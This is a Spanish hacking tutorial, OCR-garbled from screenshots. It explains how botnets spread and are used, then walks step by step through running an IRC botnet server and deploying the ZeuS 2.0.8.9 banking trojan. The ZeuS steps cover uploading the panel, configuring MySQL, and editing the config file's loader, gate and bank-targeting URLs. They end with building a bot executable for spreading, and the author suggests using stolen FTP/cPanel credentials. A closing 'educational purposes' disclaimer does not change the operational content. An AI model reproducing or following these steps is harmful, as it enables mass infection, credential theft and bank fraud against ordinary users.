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La palabra Botnet, proviene de Bot
cliente y por “zombies”,

sQué

es una Botnet?

Los zombies

(robot).

Estan compuestos por un
son los ordenadores infectados por

dicha Botnet, y el cliente es el que utilizaremos para darles o6rdenes por

medio de

Hay varias formas de manipular una

comandos.

Tipos de

Clientes

resaltar los siguientes:

- IRC

- Web

Panel

- Clientes de escritorio

En el IRC, lo que hacemos es que todos nuestros zombies conecten a un

Botnet,

entre los cuales podemos

mismo canal de IRC y esperen o6rdenes por medio de comandos.
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Como podemos ver en esta imagen, todos los nombres de la derecha son
ordenadores infectados por esta Botnet.



De forma muy similar pasa con el Web Panel, los zombies conectan a una
misma IP, en donde tendremos un panel en el cual podremos introducir
comandos.
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Cuando digo Clientes de escritorio, hago referencia a que es similar a un
troyano, con su Cliente-Servidor. Los zombies conectan a una DNS y desde
nuestro cliente podremos darles drdenes.

N bLE A K

PLS/PCS-SANDOS Spain Win XP 2.0E En ezpers de ordenes...

ASISTENTE/Administr...  Spain Win XP 2.0d En espera de ordenes...

DESKTOP/Administra... Spain Win XP 2.0c En espera de ordenes...

ENVIAR

TROYANOSYVIRUS.COMAR

¢Como Funcionan las Botnets?

Al igual que los troyanos, las Botnets estan compuestas por un
cliente-servidor.

Se propagan rapidamente por internet y tienen distintos tipos de
Spreads. Entre ellos podemos destacar el muy conocido spread por MSN que
seguramente mas de una vez lo hemos visto.
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En este caso envia un archivo “photo39.zip” en donde supuestamente envia
fotos, pero no es mas que un malware
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En esta otra imagen podemos ver que nos envia un enlace que supuestamente

tiene una cancidén. Pero no nos lleva a otro lado que no sea una infeccidn
segura..

También existe la infeccidn en Facebook que es un medio de comunicacidn y
la red social mas utilizada hoy en dia.
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Length: 5:32
B 5 minutes ago via Digital Video

En los dos casos muestra videos que
que se propaga por Facebook. Asique
probable es que se hayan infectado..

Otro tipo de infeccidén es por URL.

Advertencia - Seguridad

Capture of Osama Bin Laden (video)y

i

Distracting Beach Babes [HQ]

Comment * Like - See Wall-to-Wall

se ven tentadores, pero es un gusano
si alguna vez entraron, lo mas

La firma digital de la aplicacidn
éDesea ejecutar la aplicacion?

Mombre: Adobe Flash_Player_Update
Editor:

De: file: ff

(NOT VERIFICADO) Adobe Flash Player TM

no se puede verificar.

[ ] Eanfiar siempre en el contenido de este editor.;

\:!')I

desarrcllador,

Lz firma digitzl no se pusde verificar mediznte una fusnte de
confianza, Ejecute esta aplicacion solameante si confis en 2l

Ejecutar H Cancelar

Mas informacion...

En este caso nos aparece una advertencia sobre la actualizacidén de Flash

Player. Pero al dar en ejecutar, no

haremos otra que cosa que sea

ejecutar el server que nos infectara..

Asi como estos que hemos visto, existen mds formas de las cuales podremos
infectarnos. Y por mas que tengamos el Antivirus actualizado, nos



infectaremos igual. Mas adelante veremos porque cuando veamos los métodos
de indetectabilidad.

Las Botnets lo que producen siempre es una infeccidn en cadena. Esto
quiere decir que si yo infecto a un contacto mio en el caso del MSN o a
un amigo del Facebook, este infectara a los suyos, y a su vez este a los
suyos y asi sucesivamente hasta formar una gran cadena de infeccidén con
miles y miles de PCs zombies esperando mis ordenes para atacar..
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éPara qué Sirven las Botnets?

Las Botnets son utilizadas para hacer Spam con la finalidad de obtener
informacién financiera para poder sacarle provecho. Al tener buena
propagacion, se infectan miles de ordenadores en busca de cuentas
bancarias, tarjetas de crédito, y otros logins de interés.

Otro uso que se le suele dar es el de abuso de publicidad con el servicio
que nos brinda adsense. De esta forma se puede obtener mayor cantidad de
visitas gracias a los zombies que tengamos en nuestra Botnet y de esta
forma ganar bastante dinero.

También es muy utilizada para ataques de DDoS (Denegacion de servicio
distribuido) que sirve para tirar websites, foros y puede llegar a causar
danos en la base de datos o consumir el ancho de banda para que deje de
funcionar.

Otros usos que se les puede dar, que aunque no son muy vistos, es bueno
mencionarlos:

« Construir servidores para alojar software warez, cracks, seriales, etc
- Construir servidores web para alojar material pornografico y pedofilico



- Construir servidores web para ataques de phishing

- Redes privadas de intercambio de material ilegal

- Sniffing de trafico web para robo de datos confidenciales
« Distribucidn e instalacidén de nuevo malware

- Manipulacidn de juegos online

éQué diferencia hay entre un ataque DoS y un DDoS?

Ataque DoS

Un servidor web esta preparado para soportar una cierta cantidad de
peticiones o conexiones simultaneas. Si supera ese limite de conexiones,
pueden pasar dos cosas:

1) La respuesta de las peticiones de los usuarios pueden ser lentas o
nulas

2) E1 Servidor se desconecta de la red y queda sin conexiodn.

Atacante

Usuario Normal

A eso se le llama ataque DoS (Denial o Service / Denegacion de Servicio)
Satura el servidor por medio de muchas peticiones de una misma pc que



poco a poco va consumiendo recursos hasta que comience a rechazar las
peticiones y comenzara a denegar el servicio (DoS)

Como desventaja tiene que el administrador puede ver de donde vienen
todos esos ataques, banea la IP y el ataque cesa..

Atagque DDoS

Esto es algo similar al ataque DoS, ya que este tipo de ataque también
consiste en tirar el servidor. La diferencia esta en que este ataque es
distribuido. Esto quiere decir que no se ataca desde una sola PC como en
el DoS, sino que son muchas PCs, haciendo peticiones al mismo servidor.
El administrador de la web no podra saber de donde viene el ataque, por
lo tanto cuesta mas detenerlo. A esto se lo llama Denegacidn de Servicio
Distribuida (DDoS)

Zombies Atacado

Atacante Usuario Normal

Este tipo de ataque (DDoS) Se hace con una red Zombie. En otras palabras,
se hace con una Botnet.

En ambos casos lo que se busca es consumir el ancho de banda del servidor
para tirar la web.



Obviamente es mucho mas potente un ataque con una Botnet ya que son
varias PCs las que atacan a un solo sitio.

éComo montar una Botnet?

Si bien mencione antes los 3 tipos de Botnets, ya sea por IRC, HTTP, 0 un
ejecutable programado en algun lenguaje. En los tres casos vemos que los
zombies deben apuntar al mismo sitio. En el caso del IRC, apuntarlo a un

canal
si es
todos
puede

Ahora

registrado en algun servidor. Si es por HTTP, apuntarlo a un host y
por cliente de escritorio, apuntarlo a algun subdominio (DNS). En
los casos corremos riesgos de perder todos los remotos, ya que

ser denunciada o que nos descubran.

les enseinare cémo montar una Botnet.

BOTNET POR IRC

Lo que debemos hacer es tener una buena PC con buena conexidn para que
soporte todos los remotos. Una vez que la tenemos, podemos crear un
servidor de IRC y mandar a todos los zombies ahi. De esta manera no se
perderan con facilidad todos los remotos que tengamos.

Montaremos un servidor de IRC en nuestra propia PC.

Descargamos el IRCPlus, Lo instalamos y nos vamos a su pantalla principal
de configuracion:

| & IRCPlus Remote Control

soee IFCplus

- ﬂ General Settingz
=] Client
[ﬂ] Operators Server Mame: |antra:-:-|a|:us.nu:u-ip.-:urg

+ ;ﬁ Security T

31 Channets Drescription: |||:;|: TEST
it Micknames |
—4 Memorandums
ﬁ Frahibited Contact Info: |
g;ﬂ Server Relaying
f_} Mizcelanies Login Paszwaord:

-;f Ahot

Paort:  |EEEY jl Limit clones: |3 j

Limit connections: |10 j v Enable DMNS Lookups

= 19393-39 kad-w'eb Metwaorks

Colocamos un nombre en el Server y una descripcion.



Es importante aclarar que el puerto que pongamos, en mi caso el 2000,
debe estar abierto en nuestro router en caso de que tengamos. En caso de
tener router y no tenerlo abierto, lo abrimos de la misma forma que
cuando usamos un troyano.

El resto de las opciones son a su gusto, como por ejemplo la de los
canales:

& IRCPlus Remote Control

I IFCplus

= % General Settings

= Client
m] Operators Reqiztered Channels:
¥ ;ﬁ Securty HAMTRA-LARS
_&| Channels
&t Nicknames Add
— Memorandumsz Edit
ﬁ Frohibited
g'él Server Relaying %
& Miscellanies
% Ahout [ Allow uzers bo create channelz Dipnanic bode
[ Allow uzers to register channels e iiurse " Host
[ Participant
" Detaut Charnel Linit ~

= 19333-39 kM ad-web Metwaorks

Importantisimo lo que esta remarcado en rojo, ya que de esta forma podran
entrar todos los zombies a nuestro canal sin ningun tipo de restricciodn.

También es bueno crear un user admin para controlar el canal y el
servidor.

Registramos el Nick:



% IRCPlus Remote Control

23 Connection
- ﬁ General Settings
= Cligrt
@] Operators
+ ;ﬁ Security
2| Channels
| &t Micknames |
4 Memorandumsz
ﬁ Frohibited
gél Server Relaving
& Mizcellanies
2 About

iIrCpius

Registered Micknames:
AMNTR A

Reqistered Micknames

|
|
|
0 = ficosss it |
add | Edit | Delete | |
C Kl

| Allow uzers to register nicknarmes

Mickname Action; + Gline

[ Must have a registered nick to signon

= 13338-33 b ad-web Metwaorks

Y luego Vamos a Operators

& IRCPlus Remote Control

23 Connection

- @ General Settings
= Cliert
7} Dperatars

+ ;ﬁ Security

_&| Channels
it Micknames
4 Memorandums
ﬁ Prohibited
;—:é; Semer Relaving
f Miscellanies
-;f About

IrCplus

IRC Operatars:

adrmi

Operator

o
~
~

Add |

~
~

Edt | Delete | |

= 1993-39 Mad-web Metwarks

Como pueden ver, ahi mi user esta como Operador del IRC.

Ahora vamos a nuestro cliente de irc



‘&= Estado: no conectado (ANTRAY, 192.168.1.35)

——

AU QUIST RS

=lzuresrsgiusissstsase=v2i3=
—=[ Copyright & 2005 - Todos las derecho S Meeeryados 1=
—=[ Coded by =gurge ]=—

—=[ http:/fwww Juerguistaz.net J=—

ver antras-labs.no-ip.org|

Colocamos /server “NO-IP” o IP
En mi caso coloque mi no-ip de test

B Estado: ANTRAX [+i5] en antrax-labs.no-ip.org:6667

0 channels formed
I have 2 clients and 0 servers

Current local users: 2 Max: 2

antrax-labs.no-ip.org| Message of the Day -
- Bienvenido a ANTRAX-LARS -

s -~ - ‘}
End of /MOTD command, .

—[ Conectado a antrax—lahs.ﬁ—im@a:#EiUI %rTmE

B o o T L g
A=ld lygridrgar vw4deig

Authorization required to use Reqgistered NiE MTREAR

[11:00] {(MickServ) This nickname is register id-wawrhave 60 seconds to identify the password.
you do not know the password then change your nickname to something else.

[11:00] (MickServ) To identify your passwaord type: /pass =password> {(or /msg pass <password:)
You must resolve the nickname conflict before you can proceed

[11:00] {MickServ) You must resalve the nickname conflict before you can proceed

Unknown MODE flag

Ahi nos da una bienvenida.




Identifico mi user de la siguiente manera
/pass “Password”

Ejemplo: /pass 12345



Y por ultimo entramos al canal:

E Estado: ANTRAX [+ ] en antrax-labs.no-ip.org:6667

re ol 5E-|:ur|r]- to identify the pa

Ultimos canales #&MTRA;
na Control + F9 o Doble-Click agui para reentrar en los ultimo:

0ol (Mic Y¥ou must resolve the nickname conflict before you can proceed

S #ANTRAX-LABRS

Ef #ANTRAX-LABS [1] [+nt]

- Total: 1 {1009

Bueno, ahi entraran nuestros zombies y podremos manipularlos por comandos
definidos previamente en la botnet.



Aca les pongo una captura de ejemplo de cémo se ve una botnet por IRC.
Cuando entran zombies

n1v
04160

Como ven el primero de todo es el Operador del canal, quien manipulara 1la
Botnet, y el resto son los zombies.

De esta forma, no podran darnos de baja el canal ya que el servidor lo
tendremos montado en nuestra propia PC. Lo unico malo es que pueden
localizar en donde esta el servidor. Esto corre bajo sus propios riesgos.

BOTNET POR HTTP

Ahora les ensenare a como montar una Botnet por HTTP. En este caso
utilizaremos la ZEUS Botnet 2 que es la mds reciente.

Les mostrare como montarla con las configuraciones basicas, ya que se
pueden agregar opciones mas avanzadas, pero para no complicarla tanto,
veremos lo basico para que quede funcionando.

En la carpeta de la Botnet podremos ver todos estos directorios



JJ} builder JJ} other JJ" seprver

client3z config
Archivo BIM Archivo
93 KB 1 KE

La carpeta llamada “server[php]” es la que debemos subir a algun hosting.
Este hosting no debe ser gratuito.

Para todos los que vienen siguiendo y practicando estos talleres, podran
notar que pueden utilizar algun FTP con Cpanel capturada con el Stealer.

Dentro de esta carpeta podremos ver los siguientes ficheros y

directorios:
rp.php
. archivo PHP
55 KB

qate.php
frchivva PHP
16 KB

u] h [u]
wio PHP

Abrimos el cliente de FTP y los subimos a todos



& "haxiraundercide.org - Fi

archivo  Edicidn  Ver Transferencia  Servidor Marcadores Ayuda

i -|[FHEES 2 &2 EIATN
Servidor: | undercOde.org Mombre de usuario: |hdx0r Contrasefia: |ee sesevere | Pugrio: Conexion rapida [
Comando: PASY
Fespuesta: 227 Entering Passive Mode (206,51,232,10,103,176),
Comando: STOR index.php
Fespuesta: 227 Entering Passive Mode (206,51,232, 10,88, 138),
Comando: STOR geobase bt
Fespuesta: 150 Opening ASCIT mode data connection For index, php
Fespuesta: 150 Opening A5C1T mode data connection For gechase.bxt
Sitio local; | C\Dacuments and SettingstAdministradoriMis documentos\Zeus 2.0.8.912eus 2.0.8, Mserver[php]) | Sitio remata: | Jpublic_htmifzeus
(- 1) Mis imagenes - 2 foro
=gk Zeus2.0.8.9 2| forum
=k Zeus 2.0.8.9 - v
Jh builder 2 s
oA other J 2 script
Jh server 2 xt3mp
- gh server[php] | zeus
.\l Plantillas ﬂ 2 ruby
Mombre de arch,.. +#  Tamafiode ... Tipo de archivo (litima modificacién Mombre de archiva  # Tamafio d...  Tipode arc...  Ultime
al .. 3.
ok instal Carpetade arc...  12/03f2011 9:39:08 ok install Carpeta de...
b system Carpeta de arc...  12/03/2011 2:39:08 cp.php 55,881 Archivo PHP
ol theme Carpeta de arc...  12/03/2011 9:39:08 gate.php 15.363  Archivo PHP
cp.php 55,881 Archivo PHP 120372011 9:39:08 indesx.php 0 Archivo PHP
gate.php 15,363  Archivo PHP 120372011 9:39:08
index.php 0 Archiva PHP 12/03/2011 9:39:08
Seleccionado 3 archivos v 3 directorios, Tamario total: 71,244 bytes 3 archivos y 1 directorio, Tamafio total: 71,244 bytes
Servidorfarchivo local Direccidn  Archivo remoto Tamafio Prioridad  Estado
4 h4xOr@undercOde.org
CiiDocuments and Settingst,... -E Ipublic_htmlfzeusfinstall/gecbas. .. 2,839,738 Mormal Transfirienda
00:00:01 transcurrido quedan 00:00:11 262,144 bytes (262.1 KB/s)
CiiDocuments and Settingst,... -E Tpublic_htmlfzeusfinstallfindesx. php 28,830 Mormal Transfirienda
00:00:01 transcurrids quedan 00:00:01  (IDMIORGSANIN 28,530 bytes (28,3 KB/s)
Archivos en cola {48) | Transferencias Falidas Transferencias satisfactorias (3)

Una vez hecho esto, lo que deberemos hacer, es crear una base de datos y
un usuario que acceda a ella.

Para ello debemos ir al Cpanel - MySQL Bases de Datos
Crear una NMueva Base de Datos

Muewva Base de datos: h4x0r_ zeus &

Crear Base de Datos |

Una vez creada, haremos también un usuario



MySQL Usuarios

anadir Nuevo Usuario

Mormbre Usuario: hdx0r_|zeus &
Contrasefia) |sssssssss e
Contrasefia (Otra .
WEZ] &
Fuerza (por querh: -"Iuyr debil {18/100) | Generador de contrase&ntilde; as

Crear Usuario |

Y finalmente las vinculamos

anadir Usuario a Base de Datos

Usuario: | hdx0r_zeus &
Base de hdx0r zeus i
Datos: =

ariadir |

Le damos todos los permisos a la cuenta

s MySQL Mantenimiento de Cuentas

Manejar los Privilegios del Usuario

lsuario: h4x0r_zeus
Base de Datos: hd4x0r_zeus

Bl TODOS LOS PRIVILEGIOS

™ ALTER ™ CREATE

W CREATE ROUTINE ¥ CREATE TEMPORARY TABLES
W CREATE WIEW ¥ DELETE

¥ DROP ¥ EXECUTE

™ INDEX ™ INSERT

W LOCK TABLES ¥ REFEREMCES

W SELECT ¥ UPDATE

Hacer Cambios

— Hacia atras



Y Listo, ya tenemos hecha nuestra base de datos, que sera en donde se
guarden todos los logs que capturemos.

Ahora configuraremos el server del Bot. Para ello vamos al directorio
Builder y abrimos el archivo llamado config.txt

Es pego el texto plano y les marcare en rojo lo que deben modificar:

;Build time: 22:38:59 11.03.2011 GMT

;Version: 2.0.8.9

entry "StaticConfig"
;botnet "btnl"
timer config 60 1
timer logs 1 1
timer stats 20 1
url config "http://localhost/config.bin"
remove certs 1
disable tcpserver 0
encryption key "secret key"

end

entry "DynamicConfig"

url loader "http://localhost/bot.exe"

url server "http://localhost/gate.php"

file webinjects "webinjects.txt"

entry "AdvancedConfigs"
;"http://advdomain/cfgl.bin"

end

entry "WebFilters"
"1* microsoft.com/*"
"lhttp://*myspace.com*"
"https://www.gruposantander.es/*"
"lhttp://*odnoklassniki.ru/*"

"lhttp://vkontakte.ru/*"



"@*/login.osmp.ru/*"
"@*/atl.osmp.ru/*"
end
entry "WebDataFilters"
;"http://mail.rambler.ru/*" "passw;login"
end
entry "WebFakes"
;"http://www.google.com" "http://www.yahoo.com" "Gp" "™ ""
end

end

Y aca una imagen de cémo deberia quedar:

;BUTd time: 22:38:99 11,03, 2011 oMT
version: 2.0.8.9

entry "sStaticconfig”
thotrnet "localhost™
timer_config 60 1
timer_logs 1 1
timer_stats 20 1
url_config "http://undercode. org/~hd xor  zeus,/config. bin"
remove_certs 1
disable_tcpserver 0
encryption_key "kjdfkgdrdr52438rSwe”
end

entry "DynamicConfig”
url_loader "http:/ undercide.org/~hd x0r zeussbot.exe"
url_server "http:/ undercode. oro/~hdx0r fzeus gate. php"
file_webinjects "webinjects.txt"
entry “advancedConfigs"
i "http:/Aadvdomaingdcfgl. bin®
end
entry "webFilters"
"rE omicrosoft. com et
"thttp: S M myspace. com
"https: /A www. gruposantander, es, ™"
"Thttp: /A *odnokTassniky.ru/"
"Thttp:/Avkontakte, rus"
"% login. osmp. rus
"ER AT osmp. ruse
end
entry "webDataFilters"
s http S Amail.rambler. ru~" "passw; Togin®
end
entry "webFakes"
P Uhttpr S Awww. googl e, com” "http: S Awww. wahoo. com™
end
end

cpt tmomm



Pasare a explicar las modificaciones:
;botnet "btnl"

Modificamos a lo que esta entre comillas por localhost, que sera en donde
estara situada la botnet.

url config "http://localhost/config.bin"

Modificamos la Url por la nuestra. En este caso debemos especificar en
donde se encuentra el config.bin (que aun no hemos creado, pero es el
directorio que se estima que estard)

encryption_key "secret key"

Acd debemos poner una llave secreta. Que es un cédigo que nosotros
queramos. En mi caso presione varias teclas al azar.

url loader "http://localhost/bot.exe"
url server "http://localhost/gate.php”

Por dltimo tenemos estas dos, una es en donde tenemos el bot.exe (que aun
no lo hemos creado, pero es en donde estara alojado) Y el otro es el
gate.php que ya hemos subido previamente.

Ahora abrimos el zsb para crear el config.bin y el bot.exe que nos
faltan.

webinjects
Documento de texbo
FOKE

config
Documenta de kexto
1kBE

setkings
Dpciones de configuracion
1 kB

- Zeus'Builder

Information
Builder
Settings

Information
Current version

Version: 2.0,58.9
Build time:; 22:38:59 11,03.2011 @MT
Signature: Death hucksker

Information about active bot
Encryphion key:

kidFlgdr4r524 38 we|
Information:

Bok nok founded.

Refresh

En Encryption Key, la

llave que colocamos en el config.txt




Seguido a esto vamos a Builder.
Damos en Browse.. y Buscamos el config.txt
Seguido a esto damos click en “Build the Bot Configuration”

Guardamos el config.bin que nos genera y finalmente damos click en “Build
the bot Executable”

Y guardamos el bot.exe

. Zeu$ Builder |
Inforrmation Builder
Source configuarkion File:
Setkings
C\Documents and Settingstadministradoriiis dom Browse, ., Edit...
Ackions
| Build the bok configuration [ | Build the bot executable
a=https: ! frss, maolb, comyLogin, asp* - |

100=https://homezae. cd.citibank. agfCappiWebAppAE produckbwo) capp)fact
onjsignoncg.do

101=https:/finternetbanking. aib.igfhb1 /roifsignon
10Z=https://lot-part, bes, rufnames, nst?Rogin®

103="*wellsfargo, com;™*

104=https: | weh,da-us.citibank. cormfcgi-bin cikifi partal i, do
105=https:|weh,da-us.citibank. com/cgi-bin) citififportalflf autherror, do®
10&6=https:/frupay .comfindesx. php
107=https:/{light webmoney, rufdefault, aspix
108=*banquepopulaire, frf*

109=http:f*. osmp.ru

110=https: v, uno-g,comflocal_bdnt_onoefLogin_unoez . Rkl
111=https:/fwwe,com,esfogi-bin/INclient_a105

m
| —

BUILD SCCEEDED!

4
|

Ahora si subimos el config.bin y el bot.exe por FTP.

Mombre de arch... ¢  Tamafiode ... Tipo de archivo Ultima modificacicn Mombre de archivo  # Tamafiod... Tipodearc...  Ultima modificac. ..
obi . i ..
b builder Carpeta de arc...  12/03/2011 9:39:40 ob install Carpetade.. 14/08/2011 21:..,
o other Carpeta de arc...  12/03f2011 9:59:08 ol system Carpeta de... 14/08/2011 22:...
o server Carpeta de arc... 120302011 9:53%:08 ol theme Carpeta de...
b server[php] Carpeta de arc...  12/03/2011 9:39:08
bot.exe 95,744 Aplicacidn 14/08/2011 22:51:20
client32.bin 95,232 Archiva BIM 12{03/2011 9:39:06 cp.php 55.881 Archiva PHP 14/08/2011 21:...
config 7 Archiva 12{03j2011 9:39:00 gate.php 15,363 Archivo PHP 14/08/2011 21: ...
config.bin 4,424 Archivo BIN 14/08/2011 22:51:12 index.php 0 Archivo PHP 14/08/2011 21:...

Una vez hecho esto, ya estamos en condiciones de comenzar a infectar.

Ese bot.exe que generamos es el server que debemos propagar.



JJ ‘ builder

‘J‘ other ‘J‘ Server JJ‘ server[php]

client32.bin config config.bin

Archivo BIN Archiva Archivo BIN

Q3 KE 1KE 34 KE
Entramos via web a nuestro panel. Recuerden que el panel es ese que se

llama cp.php

Login

User name: |ﬁ.NTRﬂ}< |

Paszzward:

[l rermermber [MDS cookies)

Subrmit |

Procederé a autoinfectarme, para probar si funciona (Ustedes no hagan
este paso ya que danara severamente su ordenador)

Una vez ejecutado el server, este desaparecera y conectara a nuestro
cliente via web, Se vera algo asi:

Total reports in database:

Tirne of first ackivity:

Total bots:

Total active bots in 24 hours:
Minimal version of bot:

Maxirmal version of bot:

15.08.2011 01:52:50
1

100.00% - 1

2.0.8.9

2.0.8.9

Current botnet: JENN pd

Newr bots (1) Online bots (1)
AR 1| |AR 1

Si investigan un poco el panel del bot, podran ver las opciones para ver
los logs, para atacar webs, etc..

También tenemos la Botnet con cliente de escritorio que no es necesario
que la explique ya que no es muy frecuente verla y se configura de igual
forma que un troyano comun.

Este material expuesto es con fines educativos. No me hago responsable
del mal uso que se le pueda dar.

Nos vemos en la proxima entregal!



ANTRAX



